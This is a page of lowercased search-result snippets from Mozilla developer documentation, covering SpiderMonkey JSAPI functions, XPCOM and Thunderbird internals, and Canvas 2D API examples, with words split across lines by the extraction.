iption cx jscontext * any context associated with the runtime in which obj exists. obj jsobject * object to get the class from. note: in spidermonkey versions prior to spidermonkey 1.8.8, js_getclass took both a jscontext* and a jsobject* as arguments in thread-safe builds, and in non-thread-safe builds it took only a jsobject*. the js_get_class(cx, obj) ma...
... spidermonkey versions prior to spidermonkey 1.8.8, js_getclass took both a jscontext* and a jsobject* as arguments in thread-safe builds, and in non-thread-safe builds it took only a jsobject*. the js_get_class(cx, obj) macro abstracted away this detail. newer versions have removed the context argument, so that the same signature is used regardless whether or not the build is thread-safe. descr
iption js_get_class returns a pointer to the jsclass associated with a specified js object, obj. the application must treat the jsclass as read-only. to check the type of an object, use js_hasinstance instead. for a stricter, exact-match-only check, use js_instanceof or js_getinstanceprivate. the js_get_class abstracted away signature differences in the js_getclass method in threadsafe and non-threa...
JS_GetClass
retrieves the class associated with an object. syntax const jsclass * js_getclass(jsobject *obj); name type descr
iption cx jscontext * any context associated with the runtime in which obj exists. obj jsobject * object to get the class from. in spidermonkey versions prior to spidermonkey 1.8.8, js_getclass took both a jscontext* and a jsobject* as arguments in thread-safe builds, and in non-thread-safe builds it took only a jsobject*. the js_get_class(cx, obj) macro abstracted away this detail. ...
... spidermonkey versions prior to spidermonkey 1.8.8, js_getclass took both a jscontext* and a jsobject* as arguments in thread-safe builds, and in non-thread-safe builds it took only a jsobject*. the js_get_class(cx, obj) macro abstracted away this detail. newer versions have removed the context argument, so that the same signature is used regardless whether or not the build is thread-safe. descr
iption js_getclass returns a pointer to the jsclass associated with a specified js object, obj. the application must treat the jsclass as read-only. if obj has no jsclass, this returns null. to check the type of an object, use js_hasinstance instead. for a stricter, exact-match-only check, use js_instanceof or js_getinstanceprivate. see also mxr id search for js_getclass bug 723517 ...
JS_GetConstructor
if the result is a function object, js_getconstructor returns a pointer to that object. otherwise, it reports an error and returns null. ...
...if the result is a function object, js_getconstructor returns a pointer to that object. otherwise, it reports an error and returns null. ...
JS_GetContextPrivate
access a jscontext field for application-specific data. syntax void * js_getcontextprivate(jscontext *cx); void js_setcontextprivate(jscontext *cx, void *data); void * js_getsecondcontextprivate(jscontext *cx); // added in spidermonkey 17 void js_setsecondcontextprivate(jscontext *cx, void *data); // added in spidermonkey 17 name type descr
iption cx jscontext * any context. data void * (in js_setcontextprivate or js_setsecondcontextprivate) pointer to application-defined data to be associated with the context cx. descr
iption each jscontext has two fields of type void * which the application may use for any purpose. they are especially useful for storing data needed by callbacks. js_getcontextprivate and js_getsecondcontextprivate get ...
...jscontext has two fields of type void * which the application may use for any purpose. they are especially useful for storing data needed by callbacks. js_getcontextprivate and js_getsecondcontextprivate get this field and js_setcontextprivate and js_setsecondcontextprivate set it. the field is initially null. memory management for this private data is the application's responsibility. the javascr
ipt engine itself never uses it. see also mxr id search for js_getcontextprivate mxr id search for js_setcontextprivate mxr id search for js_getsecondcontextprivate mxr id search for js_setsecondcontextprivate js_getruntimeprivate js_setruntimeprivate js_getcompartmentprivate js_setcompartmentprivate js_getprivate js_setprivate js_getinstanceprivate bug 714458 ...
JS_GetElement
find a specified numeric property of an object and return its current value. syntax bool js_getelement(jscontext *cx, js::handleobject obj, uint32_t index, js::mutablehandlevalue vp); name type descr
iption cx jscontext * the context in which to perform the property lookup. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj js::handleobject the object to search for the element. ...
...p. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj js::handleobject the object to search for the element. index uint32_t index of the element to look up. vp js::mutablehandlevalue out parameter. on success, *vp receives the current value of the element, if it exists, and undefined otherwise. descr
iption js_getelement examines a specified js object, obj, and its prototype chain, for an element or numeric property numbered index. if the element exists, js_getelement sets *vp to the element's current value. if not, it sets *vp to undefined and returns true (to indicate no error occurred). if the search fails with an error or exception, js_getelement returns false, and the value left in *vp is u...
JS_GetExternalStringClosure
although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. this article covers features introduced in spidermonkey 6 returns the string closure stored in a jsstring created by calling js_newexternalstringwithclosure. syntax void * js_getexternalstringclosure(jscontext *cx, jsstring *str); name type descr
iption cx jscontext * the context from which to retrieve the closure for a string. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. str jsstring * the string for which to return the closure. the result is null if the external string was created without one (that is, by calling js_newexternalstring rather than js_newexternals...
...* the context from which to retrieve the closure for a string. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. str jsstring * the string for which to return the closure. the result is null if the external string was created without one (that is, by calling js_newexternalstring rather than js_newexternalstringwithclosure). descr
iption to determine if a string was created as an external string, you can call js_isexternalstring. see also bug 724810 ...
JS_GetFlatStringChars
3this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. this article covers features introduced in spidermonkey 1.8.5 get the chars of a flat string. use js_flattenstring to flatten the string. ...
...could be removed at any time. try to avoid using it. this article covers features introduced in spidermonkey 1.8.5 get the chars of a flat string. use js_flattenstring to flatten the string. ...
JS_GetFunctionCallback
obsolete since jsapi 37this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. returns the callback currently configured to be called when javascr
ipt functions are invoked or exited, as established by a prior call to js_setfunctioncallback. note: this method is only available if moz_trace_jscalls was defined at compile time using --enable-trace-jscalls. ...
...ry to avoid using it. returns the callback currently configured to be called when javascr
ipt functions are invoked or exited, as established by a prior call to js_setfunctioncallback. note: this method is only available if moz_trace_jscalls was defined at compile time using --enable-trace-jscalls. syntax jsfunctioncallback js_getfunctioncallback(jscontext *cx); name type descr
iption cx jscontext * pointer to a js context from which to derive runtime information. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. descr
iption js_getfunctioncallback returns the current function invocation callback, or null if there isn't one set up. see also mxr id search for js_getfunctioncallback js_setfunctioncallbac...
Using nsISimpleEnumerator
using nsisimpleenumerator <stringbundle>.strings var enumerator = document.getelementbyid('astringbundleid').strings; var s = ""; while (enumerator.hasmoreelements()) { var property = enumerator.getnext().queryinterface(components.interfaces.ns
ipropertyelement); s += property.key + ' = ' + property.value + ';\n'; } alert(s); example using javascr
ipt 1.7 features // creates a generator iterating over enum's values function generatorfromsimpleenumerator(enum, interface) { while (enum.hasmoreelements()) { yield enum.getnext().queryinterface(interface); } } var b = document.getelementbyid("stringbundleset").firstchild var props = generatorfromenumerator(b.strings, components.interfaces.ns
ipropertyelement); var s = ""; for (let property in props) { s += property.key ...
... interface) { while (enum.hasmoreelements()) { yield enum.getnext().queryinterface(interface); } } var b = document.getelementbyid("stringbundleset").firstchild var props = generatorfromenumerator(b.strings, components.interfaces.ns
ipropertyelement); var s = ""; for (let property in props) { s += property.key + ' = ' + property.value + ';\n'; } alert(s); links code based on using_ns
ipasswordmanager nsisimpleenumerator xul:property:strings ...
Working with out parameters
when working with xpcom components, you might come across method declarations like the following one: [scr
iptable, uuid(8b5314bc-db01-11d2-96ce-0060b0fb9956)] interface nsitransferable : nsisupports { ... void gettransferdata ( in string aflavor, out nsisupports adata, out unsigned long adatalen ) ; ... } the gettransferdata method takes three parameters, aflavor, adata, and adatalen, and returns nothing. adata and adatalen are marked as out, meaning that they act as "return values" for this method, and are changed during the method call. these are so-called out parameters. usage in order to use such a method from javascr
ipt via xpconnect, you have to follow a specific rule. to get at the out parameters, you have to pass in an object. after the call, this object will have a new prope...
...you would implement gettransferdata() as follows: gettransferdata: function(aflavor, adata, adatalen) { .. .. adata.value = resultdata; adatalen.value = resultdata.length; } ...
XPCOM ABI
often, compiled xpcom components are called 'binary' or 'native'. a binary xpcom component consists of an .xpt file which fits all platforms and a dll (.dll on windows, .so on unix) which is platform-specific and has a certain abi. only applications which use this abi could use this xpcom component. ...
...ibmc - ibm c++ compiler for example: firefox built with the gnu c++ compiler 4.0.0 for the intel pentium processor would have xpcom abi of x86-gcc3 the xpcom abi string can be retrieved programmatically by using the nsixulruntime interface. to retrieve the abi of your firefox or thunderbird, open the error console (accessible through tools | error console) and evaluate the following javascr
ipt code: components.classes["@mozilla.org/xre/app-info;1"] .getservice(components.interfaces.nsixulruntime) .xpcomabi if either the cpu architecture or the c++ compiler are unknown, the application wouldn't have an xpcom abi string and attempts to get it will result in error ns_error_not_available. it would still be a distinct abi, but we just wouldn't have a name for it. no...
XPCOM tasks
mber clients with any unnecessary external dependencies. changes to the build hierarchy there are things in xpcom that don't belong there. there is likely to be code outside of xpcom that should be in it. there is code above xpcom that should be below it. p3 i/o functionality (except for the filespec facility) probably doesn't belong in xpcom; perhaps it should be moved to netwerk p3 the `tw
ips' units routines (or perhaps all routines) in "nsunitconversion.h" probably belong in layout. p3 nsstringtokenizer probably belongs in the parser. 5.1 3rd party code that doesn't use any services from our tree should be below xpcom; particularly, code xpcom could exploit, e.g., expat berkeley db changes to apis, functionality, and implementations the following items are listed (very) roug...
...s that complicate life for embedding applications. things we need to evangelize we need to keep up-to-date documentation, samples, and have brown-bags to keep people informed. we've been doing this, but it should be in the plan. general xpcom guidelines. see, e.g., xpcom code faq, idl author's guide, and implementing queryinterface. writing and using components and modules. building ownersh
ip models that work (see xpcom ownersh
ip guidelines), using raw pointers, nscomptr (see the nscomptr user's manual), nsiweakreference (see nsiweakreference), nscweakreference, and (across threads) proxies (see nsisupports proxies). original document information author(s): unknown last updated date: may 8, 2003 copyright information: portions of this content are (c) 1998-2007 by individual moz...
nsCOMPtr versus RefPtr
hese concrete classes cannot be used with nscomptr. while is possible to use nscomptr<t> on concrete classes t that only singly inherit from nsisupports, it is best to avoid doing so. in the future, more base classes might be added to t that would then cause unrelated code to break, which would be very confusing. hence, the interface versus concrete class rule of thumb: interfaces will never mult
iply inherit from nsisupports, so they can always use be used with nscomptr without fear of breaking in the future. concrete classes should only be used with refptr. nscomptr<t> also requires that you can queryinterface to type t. it does this so that it can assert that mrawptr is a canonical t pointer (i.e., that mrawptr->queryinterface(t_iid) == mrawptr). do_queryinterface versus do_queryobject ...
...erful form of do_queryinterface. it differs from do_queryinterface as follows: do_queryobject inherits from nscomptr_helper, so it can be assigned into both nscomptr and refptr. the downside of this inheritance is that do_queryobject requires an extra virtual call to operator() in the helper method. do_queryobject is templated on the argument type, so it's possible to pass in objects that mult
iply inherit from nsisupports. however, when the destination type is an xpcom interface, it's probably better to static_cast to a class that unambiguously inherits from nsisupports and use do_queryinterface in such cases. ...
Xptcall Porting Guide
public/xptcstubsdecl.inc. these are '#included' into the declaration of nsxptcstubbase. a similar include file (xptcall/public/xptcstubsdef.inc) is expanded using platform specific macros to define the stub functions. these '.inc' files are checked into cvs. however, they can be regenerated as necessary (i.e. to change the number of stubs or to change their specific declaration) using the perl scr
ipt xptcall/public/genstubs.pl. here are examples of this implementation for win32 and linux x86, netbsd x86, and freebsd. both of these examples use inline assembly language. that is just how i decided to do it. you can do it as you choose. the win32 version is somewhat tighter because the __declspec(naked) feature allows for very small stubs. however, the __stdcall requires the callee to clean up ...
...ver what would happen to the stack before my asm code began running. i believe that the non-assembly parts of these files can be copied and reused with minimal (but not zero) platform specific tweaks. feel free to copy and paste as necessary. please remember that safety and reliability are more important than speed optimizations. this code is primarily used to connect xpcom components with javascr
ipt; function call overhead is a tiny part of the time involved. i put together xptcall/src/md/test as a place to evolve the basic functionality as a port is coming together. not all of the functionality is exercised, but it is a place to get started. xptcall/tests has an api level test for ns_invokebyindex, but no tests for the stubs functionality. such a test ought to be written, but this has not ...
Xptcall Porting Status
xptcall has a faq and a porting guide. this is being maintained by john bandhauer <jband@netscape.com>. feel free to email me with questions or to volunteer to contribute xptcall code for any platform. mike shaver <shaver@mozilla.org> is the best contact regarding 'nix (unix, linux, finux, etc.) ports of xptcall. ...
... be used for openvms alpha and/or digital unix. currently the code is dependent on the g++ name mangling convention and a few gnu extensions so i'm not sure how useful it will be for the other systems. hopefully the comments in the code are detailed enough to help people attempting a port. <font color="white">done</font> sunos x86 arthur jones <aljones@lbl.gov> <font color="red">?</font> phil
ip pokorny <ppokorny@mindspring.com> the word i hear is that this is working and done <font color="white">done</font> hp-ux thomas wang <wang@cup.hp.com> mike gleeson <mgleeson1@netscape.com> i hear that this code is checked in and working. though, there is some doubt - see bug #17997 <font color="white">done</font> aix ppc jim dunn <jdunn@netscape.com> phil
ip k. warren writes: we have gone ...
XSLT 2.0
although xslt 2.0 is not natively supported in firefox, it is possible via saxon-b (java) or, more recently, saxon-ce (javascr
ipt) to perform xslt 2.0. for users saxon-ce no extensions are required, saxon-ce runs whenever a html page is loaded that links to the saxon-ce javascr
ipt library. saxon-b the xsl results extension uses the new incarnation of liveconnect (handled by java 1.6v12+ instead of mozilla-specific code) to connect with the java-based saxon-b library, and adds support for having xslt performed automatically when visiting a page with the appropriate xslt processing instruction (and which isn't processed by firefox's own xslt 1.0 processor). for developers saxon-ce a javascr
ipt api is provided for initiating an xslt 2.0 transform from a web page. error and dia...
...sed by firefox's own xslt 1.0 processor). for developers saxon-ce a javascr
ipt api is provided for initiating an xslt 2.0 transform from a web page. error and diagnostics output from saxon-ce can be reviewed in the firefox developer console or in firebug. saxon-b the extension demonstrates how one can use liveconnect code to communicate with the saxon-b library, but one might find the javascr
ipt code module approach used inside the extension xquseme as a more reusable approach. the code does not currently work on the mac (except for server edition supporting java 1.6) due to its lagging java support (and thus liveconnect support). ...
Address book sync client design
in the process). save the changes to // the local database, clear the sync mapping table flags and save the new sync // mapping table. // public interfaces there is a very simple interface to the address book sync component. this interface is defined in mozilla/mailnews/addrbook/public/nsiabsyncdriver.idl #include "nsrootidl.idl" #include "nsiabsynclistener.idl" [scr
iptable, uuid(91fdfee1-efbc-11d3-8f97-000073757374)] interface nsiabsyncdriver : nsiabsynclistener { void kickit(); }; as you can see, this is a very simple interface which allows for the starting of the address book sync operation. the interface of greater interest is the address book sync listener. this provides feedback of the current sync operation. this interface is as follows: #inclu...
...nsiabsynclistener { void kickit(); }; as you can see, this is a very simple interface which allows for the starting of the address book sync operation. the interface of greater interest is the address book sync listener. this provides feedback of the current sync operation. this interface is as follows: #include "nsisupports.idl" #include "nsrootidl.idl" #include "nsifilespec.idl" [scr
iptable, uuid(e0ed29e0-098a-11d4-8fd6-00a024a7d144)] interface nsiabsynclistener : nsisupports { /** * notify the observer that the ab sync authorization operation has begun. * */ void onstartauthoperation(); /** * notify the observer that the ab sync operation has been completed. * * this method is called regardless of whether the the operation wa...
nsIMsgCloudFileProvider
as such, the type should be an alphanumpheric string with no spaces. displayname acstring readonly: used for displaying the service name in the user interface. serviceurl acstring readonly: a link to the homepage of the service, if ap...
... of space used by this account. if this value is not known, returns -1. lasterror acstring readonly: the last error message received from the server. constants the following constants are used for the status codes passed to the onstoprequest functions of the nsirequestobserver's used by the asynchronous methods of nsimsgcloudfileprovider. constant value descr
iption offlineerr 0x80550014 returned when it appears that there is no active network connection. autherr 0x8055001e returned when authorizing has failed. uploaderr 0x8055311a returned when uploading has failed for an unknown reason. uploadwouldexceedquota 0x8055311b returned when uploading has failed because the user has exceeded their sto...
MailNews Protocols
bject. the service class creates and initializes the url object for the operation, and hands that off to a protocol object to run. the service classes usually have their own interface, but they also implement nsimsgmessageservice. a url object. ...
...gmailnewsurl, inherit from base/util/nsmsgmailnewsurl, and implement their own protocol-specific interface (nsiimapurl, nsinntpurl, ns
ipop3url). a protocol object that takes a url and handles the network communications with the actual server required to run that url. these implement nsimsgprotocol, inherit from nsmsgprotocol, and implement their own protocol-specific interface (nsiimapprotocol, ns
ipop3protocol, nsinntpprotocol) in addition, in mailnews/db/msgdb/public, we have protocol-specific msg db classes (and in the case of news, a nsinewsdatabase interface), so that we can use polymorphism when msg db operations need to be specialized for different kinds of folders. the message search code also has protocol-specific code to handle searching on the server, or local mailbox. the search c...
Mail and RDF
rces and the ui mail does not link the ui to datasources in a "traditional" manner. instead of having a singleton datasource that is shared across all ui components, we have per-view datasources. this allows each template-based widget to maintain view/window-specific data with each datasource. for example...??? (sorting? what else do we store?) datasources are created when each window's javascr
ipt is loaded by declaring the datasource variables in the source javascr
ipt as global variables. in the document's onload= handler the datasources are attached to their respective widgets by setting the database property on each rdf template's parent element. reflecting data to rdf in order to have a dynamic ui that updates when the underlying content changes, a datasource must implement two key ...
...e rational behind this design: it keeps all rdf datasource-related code in one place and out of the messages and folders themselves. this allows the mail code to be mostly free of rdf. the actual dependancies on rdf are small, so it makes sense to keep rdf out of folders and messages. there should be a non-rdf mechanism for folder change notification. there are times (for example, from javascr
ipt/xul) where we want folder notifications that have nothing to do with rdf. requring these listeners to use rdf would be unnecessarily burdening them with an unnecessary api. the folders or the mail session would have to know about every rdf observer on each datasource. this means the folder would have to notify each of those observers. this design allows each datasource to manage its own observe...
Main Windows
n focus is on handling the folderpane, threadpane, and the message preview sections shown above. the rest is loaded from overlays: mailwindowoverlay.xul this is the red sections shown in the interface above (where?), including the toolbars, notification bars, and the status bar, but also includes most of the commands, keysets, and context menus of thunderbird, along with a whole lot of javascr
ipt. mailoverlay.xul a really small overlay that only adds a few "new message" and "new card" commands to the menus, along with their associated javascr
ipt. msghdrviewoverlay.xul shown in blue above (where?), this overlay consists of three boxes. two are stacked showing either a brief or expanded view of the headers. the third is the attachment box which can be toggled into a slim or an expanded...
... folder and threadpanes normally shown. menus, toolbar buttons, and headers are all taken from exactly the same overlays listed above though. mailwindowoverlay.xul this is the red sections shown in the interface above, including the toolbars, notification bars and the status bar.it also includes most of the commands, keysets, and context menus of thunderbird, along with a whole lot of javascr
ipt. msghdrviewoverlay.xul shown in blue above, this overlay consists of three boxes. two are stacked showing either a brief or expanded view of the headers. the third is the attachment box which can be toggled into a slim or an expanded view basemenuoverlay.xul contains the contents of most of the menus (i.e. file, edit, view, etc). osx only: macmenuoverlay.xul a special overlay for osx that ...
Building a Thunderbird extension 2: extension file layout
at a minimum, they contain an install.rdf, the chrome.manifest and a chrome/ folder. a content/ folder sometimes contains the actual content files. these files contain the code that makes your extension actually do something. ...
...you can find information about the locale/ and defaults/ folders in the more general "building an extension" documentation. to start with the tutorial, manually create the initial directory structure for the extension as it is depicted above in a folder called myfirstext@jen.zed. this directory could be created anywhere on your filesystem. << previous next >> ...
Activity Manager examples
see the activity manager interfaces page for an overview of the related interfaces. if the default implementation of nsiactivityprocess, nsiactivitywarning and nsiactivityevent are not sufficient for the activity initiator, activity developers can provide their own components to extend the capabilities. ...
... // step 1: create a nsiactivitycancelhandler implementation function canceljunkprocess() { // user stuff here.. } canceljunkprocess.prototype = { cancel: function(aactivity) { let initiator = aactivity.initiator; if (initiator) { let folder = aactivity.getsubjec...
CanvasRenderingContext2D.fillText() - Web APIs
ty), or scale down to a smaller font size in order to fit the text in the specified width. return value undefined. examples drawing filled text this example writes the words "hello world" using the filltext() method. html first, we need a canvas to draw into. this code creates a context 400 pixels wide and 150 pixels across. <canvas id="canvas" width="400" height="150"></canvas> javascr
ipt the javascr
ipt code for this example follows. const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.font = '50px serif'; ctx.filltext('hello world', 50, 90); this code obtains a reference to the <canvas>, then gets a reference to its 2d graphics context. with that in hand, we set the font to 50-pixel-tall "serif" (the user's default serif font), then ca...
...ts 2d graphics context. with that in hand, we set the font to 50-pixel-tall "serif" (the user's default serif font), then call filltext() to draw the text "hello world," starting at the coordinates (50, 90). result restricting the text size this example writes the words "hello world," restricting its width to 140 pixels. html <canvas id="canvas" width="400" height="150"></canvas> javascr
ipt const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.font = '50px serif'; ctx.filltext('hello world', 50, 90, 140); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.filltext' in that specification. living standard ...
CanvasRenderingContext2D.getImageData() - Web APIs
fied portion of the canvas. this method is not affected by the canvas's transformation matrix. if the specified rectangle extends outside the bounds of the canvas, the pixels outside the canvas are transparent black in the returned imagedata object. note: image data can be painted onto a canvas using the putimagedata() method. you can find more information about getimagedata() and general man
ipulation of canvas contents in pixel man
ipulation with canvas. syntax ctx.getimagedata(sx, sy, sw, sh); parameters sx the x-axis coordinate of the top-left corner of the rectangle from which the imagedata will be extracted. sy the y-axis coordinate of the top-left corner of the rectangle from which the imagedata will be extracted. sw the width of the rectangle from which the imagedata w...
...from which the document itself was loaded. to avoid securityerror being thrown in this situation, configure cors to allow the source image to be used in this way. see allowing cross-origin use of images and canvas. example getting image data from a canvas this example draws a rectangle, and then uses getimagedata() to grab a portion of the canvas. html <canvas id="canvas"></canvas> javascr
ipt the object retrieved by getimagedata() has a width of 200 and a height of 100, for a total of 20,000 pixels. of those pixels, most are either transparent or taken from off the canvas; only 5,000 of them are opaque black (the color of the drawn rectangle). const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.rect(10, 10, 100, 100); ctx.fill(); let imagedat...
CanvasRenderingContext2D.globalCompositeOperation - Web APIs
the canvasrenderingcontext2d.globalcompositeoperation property of the canvas 2d api sets the type of compositing operation to apply when drawing new shapes. see also compositing and cl
ipping in the canvas tutorial. syntax ctx.globalcompositeoperation = type; type is a string identifying which of the compositing or blending mode operations to use. types examples changing the composite operation this example uses the globalcompositeoperation property to draw two rectangles that exclude themselves where they overlap. ...
...ng and cl
ipping in the canvas tutorial. syntax ctx.globalcompositeoperation = type; type is a string identifying which of the compositing or blending mode operations to use. types examples changing the composite operation this example uses the globalcompositeoperation property to draw two rectangles that exclude themselves where they overlap. ...
CanvasRenderingContext2D.isPointInPath() - Web APIs
he current path is used. return value boolean a boolean, which is true if the specified point is contained in the current or specified path, otherwise false. examples checking a point in the current path this example uses the ispointinpath() method to check if a point is within the current path. html <canvas id="canvas"></canvas> <p>in path: <code id="result">false</code></p> javascr
ipt const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); const result = document.getelementbyid('result'); ctx.rect(10, 10, 100, 100); ctx.fill(); result.innertext = ctx.ispointinpath(30, 70); result checking a point in the specified path whenever you move the mouse, this example checks whether the cursor is in a circular path2d path. if yes, the circle beco...
...text('2d'); const result = document.getelementbyid('result'); ctx.rect(10, 10, 100, 100); ctx.fill(); result.innertext = ctx.ispointinpath(30, 70); result checking a point in the specified path whenever you move the mouse, this example checks whether the cursor is in a circular path2d path. if yes, the circle becomes green, otherwise it is red. ...
CanvasRenderingContext2D.lineTo() - Web APIs
nything. to draw the path onto a canvas, you can use the fill() or stroke() methods. syntax ctx.lineto(x, y); parameters x the x-axis coordinate of the line's end point. y the y-axis coordinate of the line's end point. return value undefined. examples drawing a straight line this example draws a straight line using the lineto() method. html <canvas id="canvas"></canvas> javascr
ipt the line begins at (30, 50) and ends at (150, 100). const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.beginpath(); // start a new path ctx.moveto(30, 50); // move the pen to (30, 50) ctx.lineto(150, 100); // draw a line to (150, 100) ctx.stroke(); // render the path result drawing connected lines each call of lineto() (and simil...
...) ctx.lineto(150, 100); // draw a line to (150, 100) ctx.stroke(); // render the path result drawing connected lines each call of lineto() (and similar methods) automatically adds to the current sub-path, which means that all the lines will all be stroked or filled together. this example draws a letter 'm' with a single contiguous line. ...
CanvasRenderingContext2D.quadraticCurveTo() - Web APIs
syntax void ctx.quadraticcurveto(cpx, cpy, x, y); parameters cpx the x-axis coordinate of the control point. cpy the y-axis coordinate of the control point. x the x-axis coordinate of the end point. y the y-axis coordinate of the end point. examples how quadraticcurveto works this example shows how a quadratic bezier curve is drawn. ...
...00, 5, 0, 2 * math.pi); // end point ctx.fill(); // control point ctx.fillstyle = 'red'; ctx.beginpath(); ctx.arc(230, 30, 5, 0, 2 * math.pi); ctx.fill(); result in this example, the control point is red and the start and end points are blue. a simple quadratic curve this example draws a simple quadratic bezier curve using quadraticcurveto(). html <canvas id="canvas"></canvas> javascr
ipt the curve begins at the point specified by moveto(): (20, 110). the control point is placed at (230, 150). the curve ends at (250, 20). const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.beginpath(); ctx.moveto(20, 110); ctx.quadraticcurveto(230, 150, 250, 20); ctx.stroke(); result specifications specification status comment ...
CanvasRenderingContext2D.resetTransform() - Web APIs
the canvasrenderingcontext2d.resettransform() method of the canvas 2d api resets the current transform to the identity matrix. syntax void ctx.resettransform(); examples resetting the matrix this example draws a rotated rectangle after modifying the matrix, and then resets the matrix using the resettransform() method. html <canvas id="canvas"></canvas> javascr
ipt the rotate() method rotates the transformation matrix by 45?. the fillrect() method draws a filled rectangle, adjusted according to that matrix. const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // draw a rotated rectangle ctx.rotate(45 * math.pi / 180); ctx.fillrect(60, 0, 100, 30); // reset transformation matrix to the identity matrix ctx.resettransform(); result c...
...x to the identity matrix ctx.resettransform(); result continuing with a regular matrix whenever you're done drawing transformed shapes, you should call resettransform() before rendering anything else. in this example, the first two shapes are drawn with a skew transformation, and the last two are drawn with the identity (regular) transformation. ...
CanvasRenderingContext2D.rotate() - Web APIs
dian from a degree. the rotation center point is always the canvas origin. to change the center point, you will need to move the canvas by using the translate() method. examples rotating a shape this example rotates a rectangle by 45?. note that the center of rotation is the top-left corner of the canvas, and not a location relative to any shape. ...
...to do this, the following steps are applied to the matrix: first, translate() moves the matrix's origin to the shape's center. rotate() rotates the matrix by the desired amount. finally, translate() moves the matrix's origin back to its starting point. this is done by applying the values of the shape's center coordinates in a negative direction. html <canvas id="canvas"></canvas> javascr
ipt the shape is a rectangle with its corner at (80, 60), a width of 140, a height of 30. its horizontal center is at (80 + 140 / 2), or 150. its vertical center is at (60 + 30 / 2), or 75. thus, the center point is at (150, 75). const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // non-rotated rectangle ctx.fillstyle = 'gray'; ctx.fillrect(80, 60, 140, 30); /...
CanvasRenderingContext2D.save() - Web APIs
the current dash list. ...
...owoffsety, shadowblur, shadowcolor, globalcompositeoperation, font, textalign, textbaseline, direction, imagesmoothingenabled. syntax void ctx.save(); examples saving the drawing state this example uses the save() method to save the default state and restore() to restore it later, so that you are able to draw a rect with the default state later. ...
CanvasRenderingContext2D.setLineDash() - Web APIs
s odd, the elements of the array get copied and concatenated. for example, [5, 15, 25] will become [5, 15, 25, 5, 15, 25]. if the array is empty, the line dash list is cleared and line strokes return to being solid. return value undefined. examples basic example this example uses the setlinedash() method to draw a dashed line above a solid line. ...
...t ctx = canvas.getcontext('2d'); // dashed line ctx.beginpath(); ctx.setlinedash([5, 15]); ctx.moveto(0, 50); ctx.lineto(300, 50); ctx.stroke(); // solid line ctx.beginpath(); ctx.setlinedash([]); ctx.moveto(0, 100); ctx.lineto(300, 100); ctx.stroke(); result some common patterns this example illustrates a variety of common line dash patterns. html <canvas id="canvas"></canvas> javascr
ipt the drawdashedline() function created below makes the drawing of mult
iple dashed lines simple. it receives a pattern array as its only parameter. function drawdashedline(pattern) { ctx.beginpath(); ctx.setlinedash(pattern); ctx.moveto(0, y); ctx.lineto(300, y); ctx.stroke(); y += 20; } const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); let y = 1...
CanvasRenderingContext2D.shadowColor - Web APIs
mstring parsed as a css <color> value. the default value is fully-transparent black. examples adding a shadow to shapes this example adds a shadow to two squares; the first one is filled, and the second one is stroked. the shadowcolor property sets the shadows' color, while shadowoffsetx and shadowoffsety set their position relative to the shapes. ...
....fillrect(20, 20, 100, 100); // stroked rectangle ctx.linewidth = 6; ctx.strokerect(170, 20, 100, 100); result shadows on translucent shapes a shadow's opacity is affected by the transparency level of its parent object (even when shadowcolor specifies a completely opaque value). this example strokes and fills a rectangle with translucent colors. html <canvas id="canvas"></canvas> javascr
ipt the resulting alpha value of the fill shadow is .8 * .2, or .16. the alpha of the stroke shadow is .8 * .6, or .48. const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // shadow ctx.shadowcolor = 'rgba(255, 0, 0, .8)'; ctx.shadowblur = 8; ctx.shadowoffsetx = 30; ctx.shadowoffsety = 20; // filled rectangle ctx.fillstyle = 'rgba(0, 255, 0, .2)'; ctx.fillrect(...
CanvasRenderingContext2D.strokeRect() - Web APIs
y the y-axis coordinate of the rectangle's starting point. width the rectangle's width. positive values are to the right, and negative to the left. height the rectangle's height. positive values are down, and negative are up. examples a simple stroked rectangle this example draws a rectangle with a green outline using the strokerect() method. html <canvas id="canvas"></canvas> javascr
ipt the rectangle's top-left corner is at (20, 10). it has a width of 160 and a height of 100. const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.strokestyle = 'green'; ctx.strokerect(20, 10, 160, 100); result applying various context settings this example draws a rectangle with a drop shadow and thick, beveled outlines. html <canvas id="canvas"></ca...
...e's top-left corner is at (20, 10). it has a width of 160 and a height of 100. const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.strokestyle = 'green'; ctx.strokerect(20, 10, 160, 100); result applying various context settings this example draws a rectangle with a drop shadow and thick, beveled outlines. ...
CanvasRenderingContext2D.strokeText() - Web APIs
or scale down to a smaller font size in order to fit the text in the specified width. return value undefined. examples drawing text outlines this example writes the words "hello world" using the stroketext() method. html first, we need a canvas to draw into. this code creates a context 400 pixels wide and 150 pixels high. <canvas id="canvas" width="400" height="150"></canvas> javascr
ipt the javascr
ipt code for this example follows. const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.font = '50px serif'; ctx.stroketext('hello world', 50, 90); this code obtains a reference to the <canvas>, then gets a reference to its 2d graphics context. with that in hand, we set the font to 50-pixel-tall "serif" (the user's default serif font), then ...
... 2d graphics context. with that in hand, we set the font to 50-pixel-tall "serif" (the user's default serif font), then call stroketext() to draw the text "hello world," starting at the coordinates (50, 90). result restricting the text size this example writes the words "hello world," restricting its width to 140 pixels. html <canvas id="canvas" width="400" height="150"></canvas> javascr
